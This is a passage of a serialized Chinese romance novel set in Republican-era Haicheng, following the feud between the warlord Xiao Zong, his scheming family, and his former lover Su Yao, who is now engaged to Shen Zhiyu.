陈施宁这才知道还有这个内情，不敢置信地开口：“你们六年，她和沈知聿才一年，她为了新欢和你动手啊？她不知道你受伤……” “陈少。” 萧翼打断了他的话，“让少帅清净些吧。” 陈施宁没说完的话又咽了回去，脑海里不受控制地想起了他刚才揉胸口的动作，他刚才说疼，到底是哪里疼啊？ 他叹了口气，真的安静了下来，可外头却逐渐嘈杂，不多时警卫慌慌张张地跑了进来，“少帅，小公子来了，非要进来。” 萧纵静了片刻，才慢慢睁开了眼睛，“我还没登门，他们先……” 他话音忽地一顿，他想起来，今天根本没听见海城有什么动静，如果真的有的话，萧家人恐怕也没心思来这里了。 “怎么回事？” 他抬眸看向萧翼，萧翼的脸色十分难看，他没想到萧远山得了便宜不知收敛，竟然恬不知耻地派人上门挑衅。 任命书的事，瞒不住了。 第166章 狗咬狗 被萧纵那么一闹，订婚宴是办不下去了，但本来这也只是走个形式，所以沈知聿很快就遣散了宾客，去后面寻了苏姚。 她正在看书，看起来对外头的混乱毫不关心。 他一时有些失神，站在门口没有进去，直到苏姚察觉到了不对劲，侧头看了过来：“人都走了？” 沈知聿这才如梦初醒，抬脚进了门，“走了，今天的事出乎我意料，我还没见过萧纵这么失态。” 苏姚轻轻合上手里的书，“你是怕我心软？” 沈知聿轻叹一声，十分坦率，“我相信你不会因为私情耽误正事，但双方各有立场，迟早会走到刀剑相向的地步，萧纵今天的样子，怕是不会轻易放弃，我不希望你和他再有牵扯。” 苏姚忍不住笑起来，她当年对萧纵的心思还真是闹得人尽皆知，只是旁人都当成笑话，只有沈知聿看出了她的认真。 只是，都过去了。 “你知道，我走在那条巷子里的时候，在想什么吗？” 沈知聿抬眸看过来，眼底都是困惑。 苏姚合上手里的书，“我以前汲汲营营，总担心失去，担心自己一无所有，所以我留在帅府，迟迟不肯离开。可那天我沿着那条巷子一直往前走的时候，心里却是从未有过的轻松，我那时候才明白，一无所有，并没有那么可怕。” 人的成长和蜕变，有时候需要很久，可有的时候，一刹那就够了。 “而且，我现在也有了目标，或者……” 苏姚想起从张参谋那里听说的那个词语，眼神坚定又憧憬，“该叫做信仰，能找到自己想走的路，对我而言，就是新生。” 她没有说她和萧纵不堪的过往，没有保证她的决心，可这番话还是说服了沈知聿。 新生的人，是不会走老路的。 “受教了。” 沈知聿放松下来，却再次起身，“清剿队又处理了一个汉奸，我要去善后，顺便去一趟帅府，你要同行吗？” 清剿队就是所谓的反动分子，去年因为处理拍卖场上那几个恶人曾被海城巡警追捕过一段时间，后来因为萧纵的介入，追捕才不了了之。 之后清剿队就藏在下百盛，苏姚之所以去那里，就是为了找他们。 她当时其实并不能确定人真的在下百盛，但整个海城，没有比那里更适合藏身的了，只是她当时并没有找到，是濒死之际，对方救了她，并把她送出了城。 但清剿队却一直留在这里，暗中锄奸。 但苏姚关心的却并不是哪个汉奸死了，而是—— “为什么要现在去帅府？” “凑个热闹。” 沈知聿语气认真，“虽然的确也是想趁机缓和与萧纵的关系，免得他给我使绊子，但主要还是想凑热闹，刚才有伙计来报信，说萧家人去帅府了。” 上次萧家人去帅府，还是一年前，那时候，萧远山看准时机，用十分卑劣的手段，逼得萧纵不得不出战，人一回来，他又设计了那么凶险的爆炸。 不知道这次，会带来什么惊喜。 苏姚微微一怔，想起了萧承那张阴鸷可怖的脸。 她轻轻摇头，再次翻开了手里的书，“我就不去了，但萧家人都是一丘之貉，你小心些，别被他们的狗咬狗波及了。” 沈知聿应了一声，骑着摩托车就出了门。 等他到帅府的时候，双方人马正在对峙。 说对峙也不准确，因为萧承其实没带多少人，只是吵嚷的动静太大了，引了不少人围观。 沈知聿朝警卫抬了抬手，警卫倒是没有拦他，打开门将他放了进去。 “什么意思？他一个外人能进，我可是萧纵的亲弟弟，凭什么我不能进？” 萧承恼怒的声音从门外传进来，沈知聿没有理会，将摩托停在了主楼门前，还不等进去，就先听见了萧纵的声音，“这么大的事，为什么不告诉我？” 沈知聿脚下不停，抬脚进了门。 大约是刚才正在处理伤口，他没穿上衣，上半身裹满了纱布，哪怕有露出来的皮肤，也带着细碎的伤痕，萧远山的炸弹，威力可真不小。 “少帅息怒，属下是怕您动气。” 萧翼开口解释，隐瞒萧纵他是心虚的，可却并不后悔，他做不到把萧纵从重伤昏迷中唤醒，告诉他一个无法改变的噩耗。 “你呀你，你让我说你什么好？” 萧纵抖着手指着萧翼，显然气得不轻，可最后还是强压下了火气。 “行了，去看看吧，看他们想唱什么戏。” 他起身要出去，可这一下却没站起来。 沈知聿上前扶了一把，萧纵这才看见他，目光猛地往门外看去，瞧见并没有旁人，眼神暗了下去，恨恨甩开他的手，“你还有脸来啊。” 沈知聿没和他计较，“私事先不提，我是来给你送消息的，萧承他……” 话音未落，电话就响了，萧翼抬手接起来，脸色瞬间黑了下去，“少帅，萧承在海城办事处任职了。” 换句话说，他现在是公职人员，这是仗着总统地势，特意来挑衅的。 “我要说的就是这个，” 沈知聿接茬，“既然做了万全准备，只怕还有后手，我建议你示敌以弱，暂避锋芒。” “我，示弱？” 萧纵像是听见了什么笑话，控制不住地笑了一声，可这一声笑却引起了一长串的咳嗽，等他咳完，刚换好的纱布又染上了血色。 沈知聿又想扶他，却被他推开。 萧纵无视了又裂开的伤口，慢慢站直身体，扬起了头，“我从来，就不知道什么弱。” 第167章 掘坟 门外的喧闹声还在继续，萧纵抬脚出了门。 沈知聿看着他的背影，轻轻摇了下头，他那个建议是真心实意的。 这一年，萧纵连打了十几场仗，一次都没输过，换谁都要忌惮他。 总统扶持萧远山也好，设立办事处也罢，其实都是在发出信号，他已经不能容忍萧纵这样的人，站在一个相对中立的位置了，他要么如同萧远山一样，老老实实改了番号，明确宣布立场；要么…… 但显然，萧纵的性子是不肯受威胁的，但他也不会蠢到明确拒绝，双方估计还要打很久的太极。 他叹了口气，抬脚跟了上去。 梅雨季，外头的小雨连绵不断，萧承撑着伞，一改之前的阴鸷嚣张，看起来十分温和无害，看见萧纵出来，他往前走了两步—— “我的好大哥，你怎么这么不小心啊？竟然伤成了这样，爹听说你受伤后，可心疼坏了，催着我来探望呢，你怎么样？” 话里满是关切，可帅府却并没有人吃这一套，全都冷冷看着他，只有周宝成开口捧场，“毕竟是亲父子，不管怎么闹，都是血浓于水的。” 萧纵皱起眉头，这话听得他恶心。 “别说这些废话，来这里干什么？” 他冷声开口，周宝成笑吟吟的，“少帅这话问的，小公子刚才不是说了吗？就是来探望少帅的，古语说得好，修身齐家治国平天下，现在形势越来越乱，总统也不忍心看着少帅和家中不睦，特意命鄙人来做这个和事佬，萧师座还为少帅准备了一份大礼呢。” 他说着看向萧承，对方配合地往前走了一步，将一张请柬往萧纵面前递了递，“正是，爹可是花了好大的心思准备的。” 他笑起来，眼底却有恶意一闪而过。 萧翼没注意，狐疑地看了他一眼，真是来和解的？ 虽然他们不可能吃了被袭击的闷亏，但也想看看对方葫芦里在卖什么药。 犹豫过后，他还是将请柬接了过来，仔细检查了一下才递给萧纵。 萧纵却并没有看的意思，“就为了这个？可以滚了。” 萧承连忙开口，“我的好大哥，你不看看吗？” 他加重了语气，“爹的这份大礼，可是很有诚意的。” 诚意？ 萧纵一哂，萧远山怎么可能真的和他和解？ 而且他也实在是想不出来，除了自裁之外，萧远山还能给他送什么有诚意的大礼。 可心里却莫名的有股不安，所以犹豫过后，他还是翻开请柬看了一眼，随即脸色骤然阴沉下去。 萧承兴奋起来，“大哥，我就说……” 话音未落，萧纵猛地上前一步，死死掐住了他的脖子，他脸色铁青，狰狞如同恶鬼，整个人都因为愤怒而控制不住地战栗，每个字都仿佛是从牙缝里挤出来的，“找死！” 萧承还想说什么，可张了张嘴，却没能发出声音，倒是脸色肉眼可见的紫胀起来。 周宝成吓了一跳，连忙劝阻，“少帅，你这是什么意思？我们特意来和解，你就是不同意，也不能动手啊。” 萧纵的举动太突然，别说周宝成，连萧翼也吓了一跳，可他却没有去劝萧纵，反而将地上的请柬捡了起来，看清楚上面的内容后，他也跟着愤怒起来：“你们要挖太太的坟？还要让少帅去观礼？你们还是人吗？！” 此言一出，所有人都愣住了。 沈知聿眼底都是不敢置信，饶是他做好了准备，知道今天这一出就是特意来打压萧纵的，可也没想到，萧远山会如此歹毒。 二十年的夫妻，他竟要当着亲子的面，掘发妻的坟。 简直，畜生不如。 他下意识看向萧纵，这算是他的逆鳞了。 “救，救命……” 似是感觉到了死亡的威胁，萧承竟然挣扎着发出了声音，身后几个警卫想上前解救，却被人死死拦住。 周宝成连忙解释，“误会，误会了，萧师座是觉得少帅最近不顺，才想着给萧太太迁坟，风水之说，也是有理有据的，是善意啊，少帅千万不要误会……” “放屁！” 萧翼怒骂一声，“真以为我们看不懂你们的歹毒心思？！一群畜生！” 周宝成被骂得脸上挂不住，也黑了脸，“我们是好意，你们如果非要误会我也没办法，但萧小公子现在是机关要员，轮不到你们来处置。” 萧纵充耳不闻，只是手上的力道越来越大，越来越大。 眼见萧承挣扎的手慢慢垂了下去，沈知聿也上前拦了一把，“别冲动，想杀人也不能在明面上。” 萧纵慢慢侧头看过来，颈骨生锈一般咔咔作响，双目血红，“他们，要掘我娘的坟啊。” 他咬牙开口，字字泣血，许是情绪太激动，身上的伤口也再次崩开，鲜血一点点浸透了他身上的纱布，仿佛他那浓稠的恨意，正透体而出。 沈知聿一时沉默，换成是他，只怕也忍不了。 “这是怎么了？” 褚英匆匆赶过来，一看萧承的脸色，眉心就是一跳，“少帅，息怒，这件事交给我，我一定给你一个满意的答复。” 他见萧纵无动于衷，压低了声音，“你看看周宝成，他根本不在意萧承的死活，他就是要借着他激怒你，好为军部借题发挥找理由，真走到了那一步，暗流就会摆在明面上，你就没有退路了。” 这话残酷又真实，萧纵再怎么愤怒，还是强行恢复了理智，将死老鼠一样的萧承恨恨砸在地上。 褚英连忙探了探萧承的鼻息，见人还活着，长出一口气，“我会去和萧家谈，我不会让伯母受这种屈辱。” 萧纵深深吸了口气，抬手拍了拍他的肩膀，“好意心领了，但是不劳烦了。” 褚英一愣，他实在没想到萧纵会拒绝。 这种时候，他的举动算得上雪中送炭了，他竟然不领情？ “你想自己处理？今时不同以往，这可不是你们自家的恩怨了。” 他看了眼周宝成，压低声音开口，“你应该清楚，这办事处就是为了盯着你才设立的吧？” “放心。” 萧纵淡淡开口，冷静得可怕，“我不会把自己搭进去。” 褚英眼底暗光一闪，隐约有种不太好的预感，却想不到萧纵要怎么做，只能暂时作罢。 “那人我先带走了。” 他将人从地上提起来就走。 萧承却挣扎着醒了过来，嘶哑着嗓子开口，“你给我……” 褚英反手给了他后颈一下，萧承再次晕了过去。 帅府门前很快冷清下来，萧纵慢慢靠在了门上。 六月的海城阴雨连绵，潮湿的空气仿佛捂住了口鼻，让他有些喘不上气来。 萧翼连忙扶了一把，他却侧头看向了沈知聿，“热闹看够了，还不走？” 沈知聿叹了口气，他虽然是来看热闹的，但没想到会是这样的热闹。 “你想怎么做？” 萧纵笑了一声，刚才褚英问他没开口，现在却没隐瞒，“你养过鱼吗？” 第168章 谁都别想好过 沈知聿一时没听明白，“什么？” “我现在，” 他高烧不退，又淋了这会雨，眼睛有些睁不开，声音却十分清晰，“就是那条鱼。” 沈知聿怔了一下，这才明白过来他的意思，当池子里只有一条鱼的时候，想隐藏就只有一个办法，将这池子水，彻底搅浑。 他眼底闪过震惊，“你知不知道你这么做，会造成什么后果？” “我知道啊，” 萧纵淡淡开口，随着他话音落下，竟有爆炸声自远处响了起来，他侧头看了一眼，眼神冰冷，“老子不好过，那谁都别想好过。” 沈知聿无言以对，只能眼睁睁看着萧纵走远。 海城一夜之间就乱了起来，萧家老宅，海城办事处，警局，连租界都发生了爆炸，各处都乱成一团，帅府也在这样的混乱里，遭受了一次不轻不重的袭击。 警局人手短缺，租界又频繁施压，调查处再想盯着萧纵，也不得不暂时调回人手，全力侦查，却什么线索都没有。 如同之前萧纵遭受的袭击一样，谁都知道是谁干的，但就是没证据，甚至萧纵还要被写在受害者名单上，让帅府的人能光明正大的去调查处骂人。 一时间整个海城乌烟瘴气，寻常人连出门都不敢。 萧远山大约清楚，这是冲着他去的，别说去给萧太太迁坟了，连门都没怎么出。 “他疯起来，真是谁都咬。” 苏姚看着报纸，唏嘘一声，沈知聿忍不住摇头，“他就是这种人，不管什么样子，都容不得旁人小觑。” 他自嘲地笑了一声，“我昨天动手的时候，心里还有些不忍，现在看来，是我优柔了。” 苏姚不觉得有什么，沈知聿本来就是善良的人。 只可惜她太了解萧纵了，她之前就说过，他是豺狼。 “何太太请我去打牌，我得先走了，你不用在意萧纵，组织迟早会合他清算的。” 沈知聿有些哭笑不得，他竟然还要苏姚来安慰他。 人的成长，真是太快了。 “我送你。” 他拿伞站了起来，一出门就抓住了苏姚的手腕。 苏姚有些想笑，“沈爷，你没谈过朋友吗？谁家未婚夫妻是这么牵手的？” 她轻轻拽了下手腕，和沈知聿十指相扣，沈知聿嘴唇动了动，不好意思地笑了起来，“抱歉，这些年太忙了，实在是不清楚。” 苏姚一笑，晃了晃两人交握的手，躲在伞下，和他一起出了门。 何坚成是商会会长，家财万贯，住处比萧纵的帅府都要奢华。 苏姚站在门前盯着高大的门楼看，一时有些感慨，“何家的关系复杂，我见过他给萧纵送钱，两人也不知道私下里有什么交易。” “官商勾结，总是这样的，我也算不得清白，” 沈知聿神情复杂，“所以你要小心，夫人外交，也是暗潮汹涌的。” 苏姚点头应下来，心里不是不紧张的，但这些情绪在信仰面前，不值一提。 两人对视一眼，抬脚往里走，何太太迎了出来，“我刚才听见喜鹊叫，就知道是你们来了，沈爷如今总算是开窍了。” 她熟稔地与两人打招呼，十分自然亲昵地拉过苏姚的手，“我可早就想认识你了，我当年可是你的戏迷，知道你回了海城，我就赶紧下帖子请了。” 前阵子，萧纵在沈公馆闹事的事已经传遍了海城，她的身份自然也是，何太太没有装傻，反倒是十分敞亮的说了出来，倒是更让人觉得舒服。 “也是缘分，我前几天还想着要来拜访何太太，您就先下了帖子。” 何太太脸上的笑意更重，沈知聿看了眼司机，司机连忙将几个礼盒送过来，苏姚温声开口，“知聿前阵子出关，带了些特产回来，不值什么，用个新鲜。” 何太太也没推辞，拉着她往里走，苏姚侧头看向沈知聿，“你先回吧，回头这里散了，我再给你打电话。” 沈知聿应了一声，抬脚要走，又想起了什么，他追了上来，在苏姚额头落下一个亲吻，“玩得开心些。” 苏姚害羞似的垂下头，何太太捂嘴笑，眼底都是羡慕，“害什么骚？年轻时候，谁没如胶似漆过？妹子，你也是真有本事。” 何太太忽然压低了声音，“我没别的意思，是真的佩服你，少帅和沈爷那是什么人，全都拜倒在你石榴裙下，外头虽然不少人骂你，可谁心里不羡慕？别说咱们女人了，男人就不嫉妒吗？多少人可都想搭上他们的线呢，就是找不到门路。” 苏姚有些惊讶，这何太太可真是洞悉人心，这番话一说出来，心里再怎么提防戒备，也要亲近几分了。 可是，不应该呀。 这时候应该很多人都在等着看热闹，看萧纵要怎么报复她这个红杏出墙的人。 何太太怎么会对她释放如此大的善意？ 她就不怕被萧纵迁怒吗？ 对方就算现在处境不好，可瘦死的骆驼比马大。 该不会…… 她压下心里的念头，仍旧摆出一副动容的模样来，亲昵地挽住了何太太的胳膊，“还是姐姐通透，这话真是说到我心坎里了。” 何太太对她的亲近十分受用，拉着她说说笑笑地往前，只是门一开，苏姚就顿住了，萧纵就站在门口。 第169章 你连萧茵也不管了吗 果然如此。 苏姚心里啧了一声，她想过萧纵会再找机会见她，却没想到会这么快，但并不影响什么。 她没有躲闪，只静静看着门内的人：“少帅，好久不见啊。” 明明只是寻常的寒暄，却听得萧纵浑身一颤。 好久不见？ 岂止是好久。 他活了三十年，从未觉得时间如同这一年一般，那么漫长，仿佛怎么都走不过去一样。 他情不自禁地往前走了一步，一步之后又是一步。 眼见着苏姚近在咫尺，他指尖控制不住地颤动起来。 苏姚却在这时，猛地往后退了一步。 萧纵脚步一顿，眼神一暗，心里却仍旧是欢喜占了上风，这世上再没有什么事情，是比失而复得更值得高兴的了，他不得不咬紧牙才能维持住面上的冷静。 何太太识趣地退了下去，将地方留给了两人。 小雨淅淅沥沥，苏姚撑着伞，静静站在那里，如梦似幻，美得有些不真实。 萧纵看得贪婪，一寸一寸，恨不能将苏姚的每一根发丝，每一寸皮肤都刻进脑海里。 他控制不住地抬起手，他没能碰到苏姚，却接到了她伞上落下来的雨水。 冰凉的，透明的。 却也是真实的。 他终于，如此真切的感受到了，苏姚的存在。 指尖控制不住地蜷缩起来，他紧紧攥住了拳，下百盛的那条巷子，在他的梦境里盘桓了那么久，数不清多少次在深夜把他惊醒。 如今，终于有一个画面，能将那个噩梦压住。 他看得几乎移不开眼，心口却蓦地疼了一下，他看见了苏姚的腿。 “你的腿疾怎么样了？” 他开口，尾音不自觉颤了起来。 “托少帅的福，已经能忍住了。” 苏姚淡淡开口，明明话里没有任何情绪，却仍旧刺得萧纵浑身一颤。 忍得住了……是还没好对吗？ 他忙不迭开口，“我一直让人研究你的病因，等有了结果……” “不用了。” 苏姚打断了他，她始终神情冷淡，相较于萧纵那几乎克制不住的思念和急切，她平静得宛如一潭死水，吝啬于给出丝毫波澜。 “少帅有话就说吧，我希望，这是我们的最后一次见面。” “不可能！” 萧纵脱口而出，他上前一步，跨进苏姚的伞里，抓住了她的手腕，语气急切，“你已经回来了，我们为什么不能见面？我一直在找你，你去哪了呀？” 他声音忽然低了下去，“我怎么翻遍了大半个国家，都找不到你？我知道以前我做的不对，我会改的，我保证同样的事情我不会再做第二次，苏姚，我们……” “少帅。” 苏姚再次打断他，神情仍旧毫无波澜，“我现在，过得很好。” 明明还有一肚子的话要说，明明情绪激烈到几乎要压制不住，可这短短几个字，却堵得萧纵瞬间没了声音。 苏姚说，她过得很好。 她的意思是，她不需要他了。 小雨下的温吞，天气又热又潮，仿佛一只无形的手捂住了口鼻，憋得胸口一阵阵地疼。 他看着苏姚的眼睛，试图从她的眼中找出一丝痕迹，喜欢，排斥，憎恨都好。 可没有，苏姚就那么平静地看着他，仿佛在看一个彻头彻尾的陌生人。 不管是他的喜悦，他的急切，他的思念，还是他的痛苦，她都漠不关心，毫不在意。 心脏骤然沉了下去，坠得人眼前天旋地转，头脑发昏。 “沈知聿……护不住你的。” 许久，他才挣扎着开口，话里却透着浓浓的无力，“跟我回去吧，只有我才能护得住你。” 苏姚仍旧安静地看着他，仿佛他是一个无理取闹的孩子。 萧纵仰起头，用力合了下眼睛，他明明很想再说点什么挽回，可对上苏姚的目光，他又什么都没能说出来，他只能一声声地唤她—— 苏姚，苏姚，苏姚啊…… “少帅，人要和过去割舍，” 苏姚再次开口，她静静看着萧纵的失态，仿佛一个冷漠的看客，“我不需要你的道歉，也不需要你给我什么，我只希望，我们以后，再也不见。” 她微微颔首，矜持有礼，和当初对他予取予求的模样，判若两人。 “告辞。” 她转身就走。 “别走！” 萧纵一瞬间又像是回到了下百盛那条空荡荡的，怎么找也找不到人的巷子，他猛地上前一步，想要挡住苏姚的去路，身体却在这时候唱了反调。 雨水浸透了伤口，似是引发了炎症，他眼前又开始模糊，连路都看不清楚，他不得不停下脚步，却仍旧垂死挣扎，“萧茵也很想你，你也不管她了吗？” 苏姚脚步顿了一下，站在原地迟迟没动。 萧纵眼睛微微睁大，透着殷切，又有些悲凉，时至今日，他还是比不过萧茵在苏姚心里的分量。 但没关系，只要她肯回去，怎么样都没关系。 “苏姚……” 他缓缓上前，想要抓住她的手，可苏姚轻轻一抬手就避开了，她转身看过来，神情越发平和。 萧纵的心却陡然凉了下去，一股不详的预感升了起来。 “那是少帅的妹妹，本来就和我没有关系，我也希望，以后和她不要再见。” 她再次颔首道别，身影很快消失在模糊的雨幕里。 萧纵没有再去追，只站在原地怔怔的看着。 连萧茵也不管用了吗？ 身体有些支撑不住，他扶着门口的石柱，慢慢靠在了上头，抖着手给自己点了根烟，深深吸了一口，烟圈刚吐出来，一阵激烈的咳嗽就接踵而至。 他捂着胸口艰难地平复了呼吸，目光却落在了自己的手上，刚才这只手，接住了苏姚伞上落下来的雨水。 他轻轻攥住了拳，苏姚不肯跟他回去又怎么样呢？ 她回来了啊，她活着回来了啊…… 第170章 少帅，好兴致啊 手里的烟不知何时被雨水浇灭，他抬手抹了把脸，又看了一眼自己的手，这才抬脚出去。 何坚成不知道从哪个角落里走出来，身边跟着个妙龄姑娘在撑伞，瞧见他一身狼狈，连忙吩咐那姑娘去给萧纵遮雨。 萧纵摆摆手，“今儿多谢你，海关押着的那批货，我会打招呼的。” “您太客气了，” 何坚成连连摆手，满脸堆笑，“能帮上少帅的忙，鄙人十分荣幸，您这衣服都湿了，不如换套衣裳再走？曼曼，快去给少帅准备衣服……” 那姑娘连忙答应着要走，萧纵却再次开口拒绝，“不用了，我有急事，替我和何太太带个好。” 话音落下，他已经走远了。 何曼曼好奇地看着他的背影，“爸爸，刚才那姑娘是谁啊？我瞧着她怎么连个好脸色都没给少帅，少帅竟然也不生气，她来头很大吗？” 何坚成自然是见过苏姚的，甚至那天萧纵大闹沈公馆的时候，他就在现场。 “一个不知天高地厚的戏子而已。” 何坚成语带轻蔑，“仗着一点旧情和沈知聿的关系才敢放肆，你且等着吧，少帅这人睚眦必报，今天她这么下人面子，他们不会有好果子吃的。” 萧纵猛地打了个喷嚏，他抬手揉了下鼻梁，轻打方向盘绕开了地上的乱石。 海城乱，道路也被波及，连以往最热闹的上百盛也变得冷清了起来，他一踩刹车，停在了百乐门门口，经理一年没见他，愣了一下才迎上来，“少帅终于来了，徐大班前几天还念叨您呢。” 他说着就招呼徐丽华过来，萧纵的脸色却拉了下去。 “别过来。” 他一直知道苏姚不喜欢他和别人的人走得近，他知道那是在乎，是紧张，可却不知道苏姚是什么感觉，直到那天，他看见苏姚靠在沈知聿怀里。 不同于知道萧翼心思时的笃定和得意，他一直就觉得沈知聿这个人很危险，现在危险成真了。 他也终于明白了苏姚的感受。 那种酸涩，无力，实在是让人窒息，反而是愤怒最不值一提的，因为他清楚，如今的自己没什么资格生气，就像当初的苏姚一样。 风水轮流转，他以前还以为自己已经知道了苏姚曾经的痛苦，可现在才明白，那不过是九牛一毛而已。 钝刀子磨人，才是最疼的。 他缓缓吐了口气，一抬眸，就见经理和徐丽华正僵在不远处，满脸诧异地看着他。 “少帅？” 经理犹豫着看他，“好歹先让人伺候着换套衣裳啊，您这身上都湿了。” 萧纵头都没回，径直往前走，要坐上电梯的时候，又忽然想起来什么，“以后我过来，别让人往我跟前凑。” 经理呆在原地，这叫什么吩咐？ 来百乐门，却不要人陪，这…… 萧纵没理会经理的嘀咕，乘着电梯到了地下，一路穿过靶场和生产线，进了一道暗门，推开暗门的柜子，又一道暗门出现在眼前，等输入密码，暗门缓缓打开，穿着白褂子的唐黎出现在眼前。 他离开的这段时间，沈知聿也好，各方势力也好，全都在找唐黎，可谁都没想到，她竟然就被藏在百乐门，藏在了沈知聿的眼皮子底下。 似是听见了开门的动静，唐黎抬头看了过来，她扶了扶眼睛，怔了几秒才认出来是萧纵，她有点脸盲，又很久没见萧纵，一时有点记不清他的长相。 但等认出来之后，她转身就走，动作间，铁链哐啷作响。 几个研究员连忙来给萧纵倒茶。 他摆摆手，扶着沙发慢慢坐下，这一路过来，他是真的有些吃不消，只是刚靠在椅子上，又立刻坐直了身体。 不留神压到后背的伤口了。 他吸了口凉气，等缓解了那份痛苦，他才开口，“之前给你的血液样本，有看出什么来吗？” 唐黎扶了扶眼镜，却完全没理会萧纵的话，“听说你前两天被炸了？” 萧纵慢慢靠在了沙发上，又不敢靠得太结实，只能靠肩膀撑着，他低咳一声，“收一收你话里的幸灾乐祸，再怎么着，我也抗住了压力，没把你送出去啊。” 唐黎顿了顿，“哦”了一声，这才喊了个研究员，去她的办公室拿了个文件夹过来，“我做了血液检测，目前没有成型的仪器，全靠人工操作，过程很漫长，可能性太多了，但初步推算，应该是细菌或者微生物导致的。” 萧纵一愣，细菌和微生物？ 他下意识想到了哈城，身体骤然绷紧，“怎么会牵扯到这上头来？能救吗？她已经好几年了，会怎么样？” “总得见到人再说。” 唐黎蹙眉，“我难道能隔空看病吗？” 萧纵被噎了一下，没再开口，脸色却十分不好看，他只以为当年的袭击只是一场简单的暗杀，可能是老宅的人，也可能是其他的敌对势力，解决了就算了，怎么现在看来，好像没有那么简单呢？ 他拧眉沉思，唐黎忽然走了过来，抽着鼻子在他身上嗅。 萧纵被迫回神，看见她这副样子，无奈地叹了口气。 她对气味十分灵敏，萧纵还记得，两人相识，就是因为她闻到了自己身上的硝烟味。 “你又闻见什么了？” “臭烘烘的。” 唐黎甩了甩头，站直了身体，萧纵只当她借机骂自己，没和她计较，撑着沙发站了起来，“我会找机会带她过来的，你尽量多做些准备，需要什么密电告诉我。” 他起身要走，唐黎有些惊讶地看过来，“你，要带她过来？” 萧纵脚步一顿，唐黎的行踪是绝密，也算是他的底牌，她的位置，甚至连陈施宁都不知道。 可，保苏姚的命更重要。 “我会安排好的。” “你转性了？” 唐黎扶着眼镜仔细打量他，随即像是明白了什么，“我的话，应验了？” 她当初告诉过萧纵，骄傲的人，容易犯错，看起来萧纵不光犯了错，还因此跌了很大一个跟头。 萧纵面皮一紧，“做你的研究吧。” 他头也不回地走了，等出了百乐门的大门，他才长出一口气，和唐黎相处就是这样，不留神就被她看出了心思。 他克制地咳了两声，眼前又有些模糊，他不敢多呆，他得回去换药了。 “来个人，给我开车……” 他扶着门口的柱子喊了一声，车童还没过来，另一辆车却缓缓在门口停了下来，随即车门打开，苏姚走了下来。 萧纵眼睛一亮，又碰见了。 刚才还有些模糊的视野瞬间清晰了起来，他抬脚就走了过去，只是走到半路，就被沈知聿横插进来，拦住了去路。 “少帅，好兴致啊。” 第171章 当面造谣 萧纵一愣，骤然反应过来自己是在哪里。 “我不是来玩的。” 他连忙解释，目光落在苏姚身上，眼神十分急切，但苏姚只是安静看他，如同先前一样，没有什么情绪。 萧纵眼神暗下去，随即又有怒火升起来，他咬牙切齿地开口，“沈知聿，你个小人，往我身上泼脏水，你明知道底下有什么。” 沈知聿睁眼说瞎话，“我不知道。” 萧纵不敢置信地睁大了眼睛，“那你来干什么？你难道带着苏姚来逍遥快活吗？” “查账啊。” 沈知聿轻描淡写地开口，“我也算是这里的老板，查账不是应该的吗？再说，你利用何太太，私下里约见我的太太，到底谁是小人？” 萧纵瞬间被激怒，他凭什么说苏姚是他太太？ 他抬手就要抓沈知聿的领子。 “你干什么？” 苏姚猝然开口，将沈知聿拉到了身边，警惕地看着他。 萧纵的胸膛剧烈地起伏起来，被堵得胸口疼，明明是沈知聿故意激怒他的！ 他看着苏姚，知道她现在不待见自己，可心里还是有点委屈，他侧头吐了口气，强行将那点矫情压了下去，咬牙解释：“这底下有个靶场，我刚才是去靶场了，苏姚，你别听他胡说八道，我才没做别的。” 他目光再次落在苏姚身上，十分恳切。 但苏姚只是皱起眉头，话甚至都不是和他说的，“我们进去吧。” 沈知聿应了一声，拉着她的手就走，萧纵气地砸了下车，却没有追进去，他不是不想，是不敢。 今天在何家的时候，他隔着玻璃，看见了沈知聿亲吻苏姚的额头。 他看不了那副画面，还不如不进去。 他钻进车里，动作间又碰到了身上的伤口，脸色微微一白，忍不住闷哼了一声，缓了缓才发动车子离开。 沈知聿隔着门看了一眼，眼底闪过担忧，“萧纵那么骄傲，我们的态度是不是得缓一缓了？” “他多疑得很，我在他身边六年，都不知道百乐门底下另有玄机。” 苏姚也跟着看向了空荡荡的街道，“先前我走的时候，我们闹得很僵，他知道我恨他，如今回来就投怀送抱，他会怀疑的。” 沈知聿默然，苏姚说得对，萧纵的确警惕多疑，他们这些朋友，利益勾连如此紧密，也不敢说能摸透他的底。 “你放心吧。” 苏姚开口安抚，“他一直找我，一定有目的，我怀疑他可能知道秦芳年带出来的方子被我送走了。” 沈知聿顿了顿，欲言又止，最后还是什么都没说。 他今天的确就是来查账的，也顺便带着苏姚招摇过市，为她的夫人外交铺个路，至于地下靶场，现在还不能明目张胆地带苏姚过去，毕竟陈施宁好说话，褚英却不是省油的灯。 所以两人很快就出了百乐门，出门前沈知聿才想起来去牵苏姚的手，只是刚推开门，一颗石子就飞了过来，他侧头躲过，石子砰的一声砸在了身后的门上。 苏姚吓了一跳，“没事吧？” 沈知聿摇摇头，刚要去捡地上的石子，一枚又砸了过来，他再次歪头躲过，可紧跟着又是一枚，这次他没来得及反应，被砸在额头，肉眼可见的鼓起了一个包。 “什么人？！光天化日的伤人！” 苏姚喊了一声，目光循着石子的方向看了过去。 却没能看见人，只有零星几个路人惊讶地看着她。 苏姚有些恼火，石子不致命，但实在是烦人，尤其是在海城处处混乱的时候，这石子飞过来，险些让她以为是子弹，惊得她心脏乱跳。 她越想越气，索性朝那处走了过去，要把人找出来算账。 手腕却被拉住，“算了，也不要紧。” “你头上都起包了！” 苏姚不敢置信地看着他，沈知聿什么时候这么忍气吞声了？ 沈知聿却笑起来，“回去你给我敷一敷就好了，我们不是要去骑马吗？再不去天都要黑了，走吧。” 苏姚仍旧有些不满，可见沈知聿坚持，也不好再说什么，只能跟着他走了。 等两人的车子启动后，柱子后头才探出个脑袋来，盯着车尾看了一眼，确定人真的走了，他捂着胸口松了口气。 “少帅？” 身边有人喊了一声，萧纵浑身一抖，猛地缩回手，扭头看了过去。 却瞧见车童正困惑地看着他。 “……你喊什么？” 车童被他的脸色吓了一跳，下意识后退了几步，尴尬又困惑道：“不是您让小的来开车，送您回去的吗？” 萧纵一噎，刚才砸人的时候太紧张，把这茬给忘了。 他车子开出去几米，才发现眼前花地根本看不清路，只好喊人来帮忙，等人的功夫就看见沈知聿牵着苏姚出来了。 他一瞬间头也不晕了，眼也不花了，一眼就看见了沈知聿那双爪子，放在了苏姚手上，还十指紧扣！ 不要脸！ “少帅？” 车童又小心翼翼地喊了他一声，看着他气到扭曲的脸，话里满是惊恐，“您还好吗？” 